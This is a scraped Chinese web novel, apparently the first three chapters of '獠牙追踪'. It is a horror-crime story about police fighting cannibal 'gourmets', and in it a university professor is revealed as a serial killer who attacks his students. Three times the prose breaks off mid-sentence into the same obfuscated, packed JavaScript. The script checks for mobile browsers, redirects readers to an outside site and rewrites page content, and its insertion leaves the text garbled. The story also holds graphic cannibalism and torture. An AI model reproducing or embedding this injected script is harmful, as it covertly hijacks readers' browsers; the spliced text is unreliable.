《獠牙追踪》 1. 入局 英雄在等待一具金棺,世界在等待一个揭发。——星革《和平哀辞》 2129年11月1日,晚10点。 嗞……无线电通讯中断的杂音在耳膜上低徊,漫长地低徊。 “沈副。” “沈副听到回答。” 市局指挥中心与十五分钟前出警的同事突然失去联系,多次呼叫后,系统显示全员石沉大海般断了线,代表通信正常的人名连成一片灰下去,不再有反应。 诡异的死寂。 “对面切断了。” “持续呼叫!不要停!” 监控大屏的电子时间一分一秒流逝,闪着血一样的红光,中心气氛像一根绷紧的弦拉去了万丈高空中。与此同时报警平台接到电话,报警者称国际大厦高层的玻璃爆了,碎块飞落差点砸伤底下经过的路人。 “我还看见玻璃幕墙上有人。” “不不不,一开始我以为他要跳楼,吓坏了啊,后来发现就是他故意撞碎的玻璃,那么高的楼,那么厚的玻璃,他就用自己身体嘭一下撞了个稀烂,然后沿外墙往上爬了,警察同志,普通人根本不可能做到的不是吗!” 主任握着对讲机大步流星奔向接警员,见她指关节攥得青白,转过来,用口型无声说出三个字:“美、食、家。” 居然真是他们。 主任脸都僵了。 得知与现场失联,他一路走来都在祈祷是自己搞错了,越这么想,心头就越发忐忑不安,一个坏到不能再坏的念头早已扎根脑海挥之不去。 不愿相信,这仅有万分之一几率的设想…… 会成真。 玻璃爆开的那一刻,冷风席卷尖利的碎渣狠狠扫向众人,一盆盆绿植摔得泥根迸溅,断裂的挡板撞击转椅,电话听筒拽长了线挂下办公桌,资料文件哗啦腾空,像场骤来的大雪,在明亮的吸顶灯下漫天飞舞。 待狂躁的风势逐渐归于平静,纸张纷纷扬扬飘落而下,盖在一具满脖喷血的女性尸体身上。 她脖颈布满大面积被啃噬、吸食的痕迹,血淋淋的皮下组织一览无遗,浑浊的瞳孔惊惧放大,一眨不眨盯着倒在自己面前的刑警。 年轻刑警被巨响震得耳朵嗡鸣,左眼嵌了碎片,睁不开,他竭尽全力呼喊附近的队友。 回答他的只有沉默。 整支队伍连同四名特警,无一幸免。 “可……恶……”他咬牙痛骂,胸膛因情绪过激起伏紊乱,头发里正淌出湿漉漉的东西,顺着一闪一闪的耳机往下,浸染了半条脖子,有个声音在耳畔焦灼咆哮,没时间给他崩溃了,他拼命提住意识,骨折的手剧烈颤抖着,按亮假死状态的通讯,“联络GS……赶紧……” “你怎么样?!现场到底发生了什么?!” “情报有误,是美食家……这里发生食人事件了,快联络GS!沈、沈副队他……”他望向落地窗边的人,眼眶刹那泛红。 师父倒在高楼风口,离危险最近的地方,鲜血源源不断渗进狼藉的地毯。 他抬着头,嘶哑的哭腔再也绷不住: “副队他,被美食家吃了一条手臂,快叫救护车……” “快叫救护车!!” 不久前,报案女子在电话里尖叫哭嚎,撕心裂肺地说男朋友要杀我,背景里夹杂数名男性的怒喝、肢体冲突声。公安再三确认非“美袭”案件,初步判断是一起发生在办公室的恶性情杀。 ……上当了。 对“美食家”只字不提,卑劣地诱哄“食物”送上门,是虚假报案。 阴云密布的夜空不漏一滴雨,隐约有雷声闷在深处,噩耗火速烧遍市公安局上下,尤其刑侦支队笼罩着极惨烈的气氛,一把手以下领导全被惊动,闯开报警中心的大门。无人得知今夜的事件到底是那群食人魔在泄愤报复社会,还是企图针对整个政法系统。 “市局指挥中心紧急呼叫GS总部,东一区国际大厦发生食人事件,凶犯等级为珍贵美食家,疑似变异,请就近小组立即支援,收到回答!” “重复,该任务需紧急响应,收到回答!” “这里GS收到了解,我们现在全组出任务,只能调两组给你们。” “明白。” “让武警布防别靠太近,珍美不好弄,我们来。” “特发科一组四组已接手。” “目标正沿青钱路向南逃跑,前方有学校,一组进行包抄堵截,完毕。” “一组收到。” “嗒”,通话切断,耳侧的紫光熄灭。 一根草莓味pocky叼在嘴里,口腔充盈着过腻的甜,这对身体不好,但他需要这股浓郁超标的含糖量缓解神经上的压抑与敏感。 中奖了,又是“美袭案”。 公冶渡莲刚下班,因侦讯而熬了七个通宵的他迫切想要回家调一杯烈酒滋润空虚的肠胃,接到消息时,他插兜站在某条拐角的阴影里,尖锐呼啸的警笛由远及近,一辆辆踩足马力的警车打出红蓝爆闪,势如蛮牛溅开水坑,从身后争分夺秒飞驰而过,警灯猛一晃,瞬间曝光了他高挑的身影,以及黑色警服上佩戴的国花胸徽,在城市的灯火酒色下折射出威严紫光。 甜得疼牙的糖衣融化入喉,公冶偏过头,警服随意敞开,没打领带,通讯耳线荡在风里,飞动的黑发下露出一双冷冽绿眸,目送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579254|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警车队伍浩浩远去。 说了不用增援,怎么还去。 他颓废地抓乱头发,很想再来一根高糖饼干条。 三位好部下,两个潇洒离职一个长期病假,目前组里仅剩他这个有名无分的组长在吃力不讨好地执外勤,碰上点乱子就被吼回去加班。 比八百年厉鬼还重的怨气已经封顶了,他必须找谁发泄一下,譬如某个违法食人的珍贵美食家。 咬断pocky,末尾一截饼干部分不吃,公冶抬起修长的两指夹下来,弹进垃圾桶,随即向警车消失的方向赶去。地面搜寻效率太低,他躲开人,直接跃上顶楼,一个个天台扫过去,不出三分钟,就在一块画得青面獠牙的霓虹灯招牌下发现了那货。 天台视野开阔,寒风盘旋着一只塑料空瓶,那家伙看起来恐高症犯了,却还是翻出了栏杆—— 歌华市初冬的夜景仿佛成吨打碎的钻石,波光粼粼铺出万余平方公里。 果然很美啊。 凶犯抖着腿,不舍地多望了一眼,背靠栏杆蹲下来,意犹未尽舔舐指缝间凝固的鲜血,舔着舔着霍然扭头,呲牙吼道:“滚出来。” 黑暗处立着个人影,听他发了话,便迈步,走到光线下。 两双翠绿的眼睛在寒夜中交锋,凶犯一愣,歪头辨认着他的身份,脸上浮现出迟疑,抓住栏杆,慢慢站直了。 “喂,”他姿态闲散得像点烟缺了打火机,来找公冶借火的,“可以不抓我吗?” 公冶觑他满脸是血,眼底压出一丝不该属于公职人员的狰狞:“可以把手臂吐出来吗?” “你不会是来给条子讨说法的吧,”杀人犯眯眼回味那条手臂的肉质,牙又痒了,“兄弟,替公安卖命几年了?想捞国家的油水,跟我干能翻倍。” 公冶毫无反应:“三十秒,自己过来。” 他没动。 “不要让我重复,”公冶看表,“你还剩二十秒。” 他在尽可能给这烂人自首认罪的机会,但很遗憾,警方的一再忠告忍让,落在恶徒眼里,充其量不过是戏台子上一出可有可无的解闷杂耍。 “公安美食家,听说和你们打架疼死了,”他舔掉牙尖血渍,咧嘴一笑,冲人竖起中指恶狠狠地挑衅,“大善人,还等什么二十秒,来啊,来打死我,你不是很牛吗,有种就来逮捕我啊你个垃——圾。” “……” 很好。 公冶渡莲一直在强忍火气,得到如此盛邀,当然恭敬不如从命。 他不慌不忙摘掉限制手套,也卸除了身上的道德伪装,微笑着说:“那就请站在那别动。” “垃圾要来抓你了。” 2. 窥视 数日后。 歌华财经政法大学金融学院,星革教学楼2F阶梯教室。 离上课还剩十分钟,教室里人声陆续多了起来。冬季的早八没有击垮这群饱食终日睡生梦死的年轻人,女生在素来无人问津的前排割据称雄,真正想认真听个课的同学痛失风水宝地,只好揣着一肚子骚怨,挤出张愤世嫉俗的笑脸,谦卑地退到了后座。 卫衣宽松的帽檐遮住蔡蔡的眉眼,她面无表情嚼着口香糖,舌头再次顶出一个吹弹可破的大泡泡,啪地炸开。 “这节课不是西毒来讲吗,老凤?” “你看前排那阵仗,山羊须小老头能有这威力?”庆威凤对着小圆镜涂完口红,双唇轻抿,啵了声,“老教授最近身体不太好,去医院复查了,他的课暂时由苏教授代上。” “天,难怪一个个看演唱会似的上赶着去了,”蔡蔡小眼俏皮一眨,“金融系系花,你不去吗?” 庆威凤一愣:“我需要吗?” “啊可恶,被你装到了!” 庆威凤开心地大笑,搂着蔡蔡可劲欺负,视线不经意往后一擦,胜券在握的表情僵住了:“谁啊,一个人坐在最后排。”蔡蔡搡出头瞧了瞧,说:“是邓烟雨吧。喂,都两年了,请你优秀的小脑瓜好歹记一记同班同学的名字……她是不是淋湿了?今天没下雨啊。” 新买的羊毛开衫被泼了个湿透,厚毛线吸饱了水,压得肩膀重重的,把里面的衬衫捂得冰凉,头发也超级遭殃,散发着淡淡的拖把水味。 砰。 教室后门推开,三个女生结伴进来,路过邓烟雨,捏着鼻子说好臭啊。等她们走远,邓烟雨从口袋里取出小包纸巾,把浓密卷翘的头发捋到一侧,弯下身擦拭,边擦边咬紧下唇,她感受到一道强烈的快把人钉穿的视线。 庆威凤摆出一副盯猎物的姿态盯她好久,轻轻咬住大拇指的美甲,不甘心地喃喃:“好漂亮的自然卷,我也去烫一个吧。” “您行行好,”蔡蔡仰天翻白眼,“您已经够美啦。” 三分钟后,苏赞教授来了。放眼歌财大暮气沉沉的教圈,苏赞教授仿佛一束照在工业时代金属废堆上的雨后晴光,他容貌端正,书卷气浓,温文尔雅的讲课风格宛如开启了一个朦胧的民国岁月,深受学生崇拜仰慕。 今天上证券投资分析,简单地挖挖股市冰山角,助力大家精神上的暴富。苏赞这节讲理论,生怕壮志急酬的后辈因失去炒股的机会而备感无聊,特意举了几个发人深省的真实案例,课程进行一半也没有同学睡觉,讲完第三章,苏赞顺手合上了书本。 原是些脱离课本的知识点,学生的吸收能力也有限,到这里差不多,再讲下去就没劲了:“今天课程就到这,我们来聊一聊其他的。” 安静的教室瞬间沸腾。 “哇,苏老师,又要和我们分享什么古朝野史呀?” “苏老师,继续讲上次那个西北关盗墓吧。” “那个不是早讲完了嘛,盗的陵墓是空壳,你上节课没来吧?” “苏老师,那些都听腻了,”某个胆肥的男同学说,“唠唠格鲁美吧。” 这话一出,教室陷入短暂的寂静,有不明就里的学生问:“格鲁美是什么?” 部分同学朝苏赞投去疑惑的目光,苏赞微微一笑,转着笔,说:“格鲁美,是美食家的代表性称呼之一。根据美食家的英文‘Gourmet’音译得来,这个称呼基本只在国外使用。李雷,你知道不少啊,爬梯子了吧?” 男同学不好意思地挠头。 “苏老师,您那么博学多才,应该清楚不少美食家的传闻吧?” “讲讲美食家吧!” 苏赞为难地摸眉:“校内禁止教师与学生分享有关美食家的信息,你们这些小坏蛋,想我晚节不保吗?” “苏老师——” “好啦,把门关上。” 几个机灵鬼立马去关门,邓烟雨离后门近,走过去轻轻碰上,苏赞温和的提问声从前方扩来:“大家对美食家了解多少?” “吃人。” “属于超自然人种,破坏力极大,有吸血的獠牙。” “是人类目前最大的生存障碍。” “嗯,他们确实对人类的生存发展构成了一定威胁,那有什么方式可以辨别美食家呢?” “我知道,看眼睛,绿眼睛的就是美食家!” 后座的男同学扶了扶镜框,清嗓补充:“他们分三个等级:稀缺美食家、珍贵美食家、顶级美食家。稀美是普遍的乌绿色眼睛,珍美是翠绿色眼睛,顶美是水绿色眼睛,也是最危险罕见的。大量美食家分部在我国,统计约有九千只,其中珍美占比2%,顶美更是两只手就能数得过来。” “没错,具有明确的等级划分,这位同学功课做得很足,不过——”苏赞指指自己的眼睛,“他们可以通过戴隐形眼镜改变自己的虹膜颜色,隐瞒身份,所以大家在和陌生人接触时需提高警惕。还有其他不一样的了解吗?” “学名是饕!” “对,‘饕’才是他们真正的名字,由二十四室联名决议,对该生物种群命名。‘饕’这个字,本义是贪吃,贪婪地吞食,国家用这个字形容他们,还是挺讽刺的。” “那为什么要叫他们‘美食家’?” “‘美食家’是他们在古洛共和国荣获的最初称号,也是国家认可的唯一典型称号,它不光代表一份殊荣,一个跻身人类社会的资格,更象征着文明的多元化、新形态,是不同种族之间联结的枢纽。各位同学不妨想一想,我国为何要郑重其事地对饕赋予称号?其实这也是国家宣示主权的手段,毕竟美食家也可以训练成‘优秀的战力’,巩固储备他们不会有错。” “哇哦……”学生们不由得惊叹,苏赞轻笑:“相比‘格鲁美’只算一种流行称呼,说到这我要考考你们,谁还记得这个称号是几几年颁布的,有谁记得吗?” 大家摇头,有人立马低头搜索,邓烟雨在书本上涂鸦可琦安,随手往可琦安的厨师帽上写了个数字:2081。 “是2081年2月1日,我国颁布条例,将‘美食家’这一称号赠予该食人种群,”苏赞通过话筒不轻不响地陈述,短促的回音隐隐笼罩过来,“他们享有作为古洛共和国依法公民的政治权利与自由,合法取得古洛国籍,人族与食人族将实现共生、共进、共荣。该称号至今尚未被废除。” “为什么不废除?他们都开始吃人了。” “苏老师,他们触犯国法吃人是哪一年发生的?” “这个我记得!好像是……2104年?” “对对,2104年!‘4·1稀美屠杀案’就是那一年!”有同学愤慨地捶桌,“当时死了好多人啊,我记得还牺牲了一名特警。” “满脑子只知道吃人的肉畜,怎么还有脸上大街晃荡。” “唉,当初为什么要接纳他们啊……” “操蛋的食人魔,滚出古洛!” “真正的强者在具备改造大自然能力的同时,也学会了敬畏规则,我们国家做到了这点,”邓烟雨笔尖一顿,抬头望着苏赞走下讲台,“提起美食家,人们对他们的第一印象便是吃人,客观来讲,他们是需要通过定期啖食人肉或饮血来维系生命的类人物种,吃人不是他们的嗜好,而是他们无法抗拒、赖以生存的本能,如若不进食人肉人血,他们会面临各种疾病问题,譬如免疫功能下降,细胞萎缩,器官衰竭等等,从而致死。” “呜哇,真可怕,这就是基因突变吗,电影里的丧尸居然就在我们身边。老师,他们难道不能吃我们的食物生活下去吗?” “可以,但我们的食物对美食家而言,90%以上无营养价值乃至有害,所以饿死病死的流浪美食家比比皆是,这些美食家宁愿赴死也不食人肉,我们理应对他们表示敬意。” 同学们发出一阵唏嘘。 “基本上,美食家只吃低糖的水果和清淡蔬菜,他们不喜欢脂肪含量高的肉类和动物内脏,勉强能食用鸡牛肉。最重要一点,他们尤其讨厌营养价值低劣的肥肉,所以大家赶紧把自己养圆点,美食家一般不会对肥胖者下手。” 众人哄堂大笑。 “对了对了,我之前看到一个研究表明,说美食家最喜欢吃鸡蛋。” “真的吗,我也超喜欢吃鸡蛋,那我算不算顶级美食家呀哈哈哈!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579255|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “如果你对美食有独到的见解,以后就去做个真正的美食家吧,”苏赞无奈一笑,转身回到黑板下,手撑讲台面向大家,“各位同学,请务必相信,国家会保护我们,倘若遭遇美食家袭击也不要害怕,因为在我们身后有一个强力的后盾——”下课铃正好在这时打响,苏赞偏头听了会儿铃声,冲学生们一笑,“下节课再讲。” “啊——苏老师您不能这么吊胃口——” “强力后盾是什么,快告诉我们——” 学生们一拥而上,把苏赞围堵在讲台中央。邓烟雨收拾课本准备离开,听到前排同学在热火朝天讨论什么。 “国厦?!这不就是我哥上班的地方吗,天呐,太恐怖了吧,还好那天他没加班。死人了没?” “死了呀!热搜都挂三天了,你不看的吗?喏,我加的一个实时追击公美的民间群,这是群主发的那晚的抓捕视频。” “不是吧,他们咋拍到的,偷拍啊?这传出去不完蛋吗?” “所以群主再三声明严禁转发呀!再不看就失效了。” 邓烟雨收拾完毕,起身时好奇地瞄了一眼。 光线偏晦暗,镜头摇晃有点厉害,但基本能看出斜对面顶楼的情况,杀人犯走火入魔猛地蹿起来咬人,被袭击的是名警察,身手了得,躲开所有攻击反手就把一个反光的东西扎进杀人犯脖子里。 “哇塞,肉搏吗这是,酷毙了。你有没有觉得这个阿Sir身材好好……” “大小姐,都拍那么糊了你还能犯花痴?” 话音未落,身后传来嘣一声,二人齐齐回头,发现有女生踩空台阶摔跤了。 邓烟雨捂着磕痛的脑门,眼底眨出些许热潮。 “今天真晦气,什么犄角旮旯里的脏虫子都爬出来了,”女生们赶苍蝇似的挥手,走过她身边,“港贼,装哪门子受害者。” 前排两名同学交换眼神,小声嘀咕:“灯港那个?” “嗯……不过也不用这么说吧……” 灯港,古洛共和国西部边陲,曾是矿业发展的重要战略资源基地,也烙印着当年被三盟联军侵占殖民的耻辱账,迫使成为美食家发源地。虽然灯港现已恢复太平,国家不仅出台对当地美食家进行“收割”,往那移植了烟火气,还大力推进产业结构调整。 饶是如此,依然有人把灯港人当做瘟疫看待—— 他们身上,流着敌人的血。 邓烟雨站起来,闷声不响拍干净裤子,把眼眶里的微红忍回去,冷冷看着昔日的室友:“真不好意思,还让你和港贼同吃同住了一年。” “说什么?欠抽吗你?!” 打头阵的女生指着邓烟雨鼻子,折返回来扬手要打,前排同学见势不妙,急忙站起来劝架:“别打别打!” “啊——!” 教室里的人纷纷望过来,女生被同伴簇拥着,护住松塌的丸子头:“哪个疯子扯我头发!” “还有谁比你疯?”庆威凤从蔡蔡那接过纸,抹了抹手,眼神轻蔑,“这里是大学,不是你接客的勾栏。让开,别挡我道。” 蔡蔡哑然,跟着庆威凤走出教室才问:“你为什么要帮她?” “你哪看见我帮她了?”庆威凤撩动柔顺的长发,轻叹一声,“果然还是去烫个大波浪吧。” 邓烟雨抱着书包出来时,庆威凤已经走没影了。 没想到她会帮自己解围,忘记道谢了,有些过意不去,不过庆威凤在系里挺出名,想找她总有机会。 今天周三,下午不排课。在食堂用好午饭,邓烟雨乘两站地铁回到住处,那是一栋美其名曰英伦复古风,实际会让人梦回叙利亚战场的廉价公寓,套内的冷淡水泥装修和她的学年论文一样乏善可陈。 身上气味太重,邓烟雨直奔浴室洗热水澡,出来看见飘窗上的橘红玫瑰枯萎在阳光里,看来要去趟超市了。 她把花枝剪碎装进垃圾袋。晚上七点,吃完自己煮的番茄鸡蛋面,套上发旧的棒球服外套,拎着两袋垃圾下楼来到楼道口。 漆黑的街道刮过寒气,一个抽烟的脏辫小哥从对面经过,邓烟雨把垃圾丢进绿桶,四处张望一番,裹紧外套,步入夜色。 3. 暴徒 公寓往前有一排拆剩的危房,破落得掉渣,去购物城必经此地。 这片区域肉眼可见的不安全,筒子楼老破小连成串,以前搬走过一拨,现在两边刷满红叉睡着游民,在白天倒不觉得瘆,但夜幕降临以后,什么妖魔鬼怪都麻溜地起灶揭锅,妥妥一个犯罪率飙升的灰色地带。 手机弹出消息,信息铃声比以往要响,是错觉。邓烟雨滑下显示栏,开启静音,屏幕在昏暗中颇为刺目,她浏览着页面上的新闻,近期报道过无数遍:食人惨案层出不穷!歌华市满月区标为红区,已有6名单身独居女性与3名在校女大学生遇害!连环食人魔“暴食美”究竟何时落网? 满月区……女大学生…… 太近了。 往下滑是评论。 【这家伙到底什么时候抓住啊,女生真的不敢晚上出门了】 【吃了九个肯定老惯犯了】 【估计早就开荤只是没爆出来,去年夏天关海区的附中女学生失踪案说不定和他有关!】 【你们不觉得,他一直以歌财大为中心在大开杀戒吗?】 【天呐求求别说了,我歌财大的,一下晚自习就回宿舍,完全不敢出校门】 【公安是都摆烂了么?】 【笑死,你以为公安都是神仙啊?这货各地乱窜,公安他们自己又一堆破章程,出个市逮他也要启奏一声,哪那么容易】 【不是说公美可以不用开手续直接异地搜捕吗?】 【有这事?】 【谁知道,一天一变的】 【公美不能吧,公安对公美的限制最严了,跨区都要报备,别瞎扯好么】 【我工作要轮夜班,就住上个死者附近,跟主管申请调白班,死活不批,说不要紧的路上注意安全就好】 【握草,楼上姐妹什么垃圾公司赶紧润了吧!】 邓烟雨熄屏,心神不宁地往前走出几步,站住了。 她望向背后。 这是条长长的上坡街,低压的路灯忽亮忽灭,没几盏在正常运作,两旁房屋残砖少瓦,墙壁斑驳如被雨淋乱。设计师可能深得古希腊建筑元素的启发,却未能找准位置,把这条居民街造出严重的失落感,仿佛有一章旧社会的阴暗历史沉淀在此,真正想要表达的古典美则沦为路边野花,这里爆一点,那里长一丛,七零八落地张狂在每一缕裂隙里。灯泡电着夜风,黑暗拖住身影,世界集中在这里发散冷峻与消极。 原来自己住的地方这么诡异,眼下就算从小巷子里蹦出个开膛手杰克也不必惊讶了。 她重新望向前方,商场的灯光闪烁成细细的河。 继续走吧。 真安静啊,要不唱首《好运来》壮壮胆? “爹个千纸鹤~再鸡个红飘带~愿善良滴~人~们~天天好晕来~嘿。” 没一句在调上,邓烟雨唱出哭腔,最后五十米,她拔腿狂奔冲向绚烂的音乐广场,这里都是人,有人遛狗,有人带娃,有人秀恩爱,有人真好! 今天超市植物区进了新鲜的花卉,邓烟雨挑了束含苞待放的康乃馨,又购置些许生活用品和水果,八点已经走上回家的路。 一通未接电话,妈妈的。邓烟雨正打算回过去——咚,身后小巷传来物体碰撞的声响,在寂寥的夜晚显得格外清晰。 好奇心害死猫,是第六感作祟了吧,她专程倒回两步,一望。 这一眼望得很久。 因为巷子里面实在黑咕隆咚,半点光线也没有,等适应了这片环境,画面由外而内描摹出轮廓,邓烟雨才模糊看出是两个人影,一方把另一方压在墙上,彼此交缠。 哇…… 邓烟雨捂住嘴。 非礼勿视非礼勿视,她红了脸赶紧拔腿走,不争气的耳朵非捉住了一丁点不该听的声音,像口齿不清的老者在嗫嚅,藏头露尾,不够尽兴。 嗬呜,嗬呜。 这个声音比较奇怪,不太好形容,又过分熟悉,好像在哪里听过。邓烟雨稍微思索一会就想通了,原来是那个声音——有时候咬不动柔韧筋道的牛排,即便是吃饭不出声的她,也会努力开合牙齿,活泛咬肌,使劲嚼烂肉块,仔细抿碎这块牛排的厚度、纹理、软骨等一切组织结构,让它的热油与肉汁溢出来,激发味蕾,弥漫口腔,提前吸收丰富的蛋白质与维生素,然后以一颗肉糜的形式,顺着湿润的喉咙……咽进肚子里…… 这个声音…… 是咀嚼肉的声音。 “……” 邓烟雨静静伫立在巷子口,双眼瞪直,立冬的风浸着恶寒,吹过她,吹响购物袋,吹出轻微的簌簌声,吹开花朵淡淡的香气。这些美好且承载希望的事物成了致命的凶器,它们温柔地长出荆棘的刺,死缠着、绑满了导火索,任何一点动静都会引火烧身。 眼中的世界像盛进一个沙漏,从上到下急剧变窄,她快看不清自己的脚尖。 怎么办。 是美食家。 他在吃人,他在吃人! 她麻木地转动脖子,目光搜寻,前前后后连条狗也没有。 吞咽声传来,咕嘟——这一口不知咬得多大,多满足,噬食活肉的热气飘散于寒夜,美食家畅快地喘息了一声,直喘到邓烟雨翻搅的胃底,她捂住口鼻,无声干呕。 逃吧。 别管了。 我救不了的。 可如果那人还活着…… 他只是失去力气无法呼救…… 强烈的心跳顶到了嗓子眼,邓烟雨内心疯狂斗争,屏住呼吸迈开腿,每一步如履薄冰,生怕踩着要命的树枝易拉罐。公寓就在前方,快回家,快回家。确定已走出十米远,她轻轻戳亮手机屏幕,按下报警电话。 可惜这通电话连一秒钟时间也没支撑住,一只沾满鲜血的成人年的大手从背后伸过来,帮她点了挂断键。 邓烟雨彻底愣住。 那只手没有收回,继续在她手机上按出一串座机号码,透明的屏幕很快被按花了,像涂抹了番茄酱。 “记住这串号码,”对方的声息痒着耳廓,“这是公安GS的专线电话,二十四小时随时可拨打,只要你打通了,就算一句话也没说,正义的特发警员,就是专门打击美食家犯罪比特警还厉害的绿眼警察们,将会以最快速度赶到并拯救你。” 邓烟雨缓缓扭过头,看向那名美食家,嘴唇恐惧得发颤,整张脸惨白如纸。 老师美玉般的面庞溅满血点,却笑得那么温和亲善,一如在教室和众学生互动,挖掘前朝野史,探索离奇故事,甚至闲谈“自己的身世”…… “不过,邓烟雨同学,”他伸出舌头,舔掉嘴巴下的鲜血,“我不会让你就这么轻易打通哦。” “……” “怎么了,不说话?” “苏……老……师……” “嗯,是我。你今天穿了红色呐,真好看,很适合作为餐后甜点,”苏赞俯身,手背在邓烟雨的脸颊上蹭了蹭,笑了,“为什么不听老师劝呢?这么晚还不回家,会被暴食美吃得骨头渣都不剩的哟,烟雨同学。” 可现在才八点多,广场舞大妈都还在扭秧歌。 邓烟雨知道自己重点找错了,似乎这样就可以分解掉一点内心的绝望。她面部肌肉僵硬得无法牵扯,更别提说点什么。 手一撒,丢掉购物袋,邓烟雨扶着墙,踉踉跄跄逃跑了,苏赞看着她跑,乌绿的眼睛愉悦地弯起,射出幽光。 哇!稀缺美食家!最低的等级!我是不是幸运得要死?! 可他是暴食美。 苏赞老师是暴食美,连环食人魔。 三个月了,公安也没能缉捕他。 不要! 我不想死! 心理防线轰然崩塌,邓烟雨知道没救了,忍不住失声爆哭,朝着前方的无人区无助地逃命,边跑边大喊:“救命……救命!救命!!” “救命!!!有美食家吃人!!!” “救——” 对面居民楼,轮椅上的退伍老兵听见了呼救,拿拐杖戳了戳儿子。儿子在看球赛,不情不愿移步窗口撩开窗帘,敷衍地过一眼。 长街空无一人。 邓烟雨咽下带血的唾沫,冰凉的小手无力地盖在腹部,那里汩汩冒热液,从指缝间争先恐后涌出,浸湿衣衫。 “哇,像小喷泉一样呢。”苏赞好奇地按压,疼得她冷汗直下,嘶哑失真的哭喊连巷口也传不到,更多的新鲜血液淌去地面,混入一旁的水沟,苏赞有点为之惋惜。 “再忍忍,马上就不疼了,你看她,这会儿多乖。” 邓烟雨痛苦地喘息,瞥向身旁躺倒的人,肩部被啃噬得血肉模糊。 “你应该认识她吧,早上我的课,你们还见过。”苏赞打开手机手电筒,照向那名受害者的脸,邓烟雨呼吸一窒。 庆威凤双目紧闭,额头挂汗,发丝凌乱地贴在鬓边,有血从发梢滴落。 “庆……庆威呃!” 稍一用力,腹部的伤口就像抹了油的拉链一划到底,撕裂得更深,邓烟雨痛得痉挛,嘴唇发白。 “这孩子真不好对付,一巴掌把我的隐形眼镜都扇移位了,不然我还能再伪装会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579256|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿呢,烟雨同学也不会这么倒霉碰上我的觅食时间了,对吧?” “苏老师,我们是你的学生,你为什么……” “学生?”苏赞把手机立好一个拍摄角度,脱下染了血渍的外套,甩在一根狰狞的钢筋管上,“趁你被我吃掉之前,作为你的老师,我再教你一个道理。” 他蹲下来,两指一压,捏断邓烟雨的胳膊。 惨叫声响起,他痛快地咧开了嘴。 亲眼目睹高高在上的人类栽在自己手中徒劳挣扎号啕痛哭直至支离破碎,整个过程简直让他兴奋得欲|仙|欲|死。 “我们……明明……接纳了你们……帮助了……你们……” “你在说什么?都半个社会人了,长点脑子吧,你以为政府是真心想帮助美食家吗,你以为,是谁在默许‘抵美运动’的揭竿?” 苏赞冷笑。 “一个国家可以伪善到什么地步,打一巴掌再喂个甜枣,表面政策友好,背地里骂我们是肉畜,操蛋的食人魔,完了还要我们觍着脸感激你们施舍这一口血半两肉,顺便把这副吃相放好看点,难道你们吃相就不难看吗?!” “我小时候就奇怪,人肉那么恶心,为什么大人觉得好吃,长大后我懂了,人就是因为太恶心了,所以咬起来才那么有滋味啊……我不止一次空着肠子来上课,幻想在课堂上滥杀无辜。烟雨同学,你见过鸡被开水烫光毛,牛蛙被剥皮的样子吗?你听过年关的肥猪被一群人拿刀追砍,被放血,被开膛破肚后倒在地上的凄嚎吗?对我而言,人类的痛哭求饶,和这些都没有区别。” “你们可以吃肉,我们为什么不可以?!‘流浪美’确实蠢,因为他们到死也不知道上街拉一个尝尝鲜!” “老师——”邓烟雨声嘶力竭地大叫,喉咙返上一股腥甜,咳出血,苏赞竖起食指,贴唇轻嘘,随后心疼地拨开她的发丝:“食物链的奇妙在于,它环环相扣,生与死,即是左和右的关系,你轻易踩死的小蚂蚁,有朝一日你和它也会颠覆位置,它发现了横尸街头的你,一具不完整的你,它召集伙伴把你蚕食干净,哈哈……世界真是无比奇妙呢,对了,你捅过蚂蚁窝吗?口子上粘着它们的排泄物,那就是三个月后的你啊!” “呜……!”邓烟雨嗅到了令人作呕的味道。 “美食家在世上的人权,不是一个冠冕堂皇难写的破字就能轻易赋予的,藐视大自然必将付出代价,该迎接末日了,我亲爱的小点心。” 密密麻麻的冷汗顺额头淌下,流湿颈项,邓烟雨喘得异常艰难,阵阵困意席卷身体。 眼睑好重,那份痛觉果然如苏赞所言,在逐步消失。 苏赞扶起昏迷的庆威凤,指尖轻触她的脖颈。邓烟雨豁出去了,指甲往伤口上一抓,用钻心刺骨的疼痛逼自己叫出来:“不要吃她!老师!” “废话真多,”苏赞冰冷冷的绿眸恶毒地瞪她,“不要再叫我‘老师’。” 邓烟雨摇头。 “行,既然你这么想死。”苏赞扔开到手的肥羊,提起邓烟雨,一把撕烂她的衣领。 寒冷的空气自肌肤上呼啸而过,脆弱的温暖洗劫一空,邓烟雨睁大双眼,看着苏赞尖白的獠牙露出来。 这就要结束了吗? 被自己的大学老师吃掉。 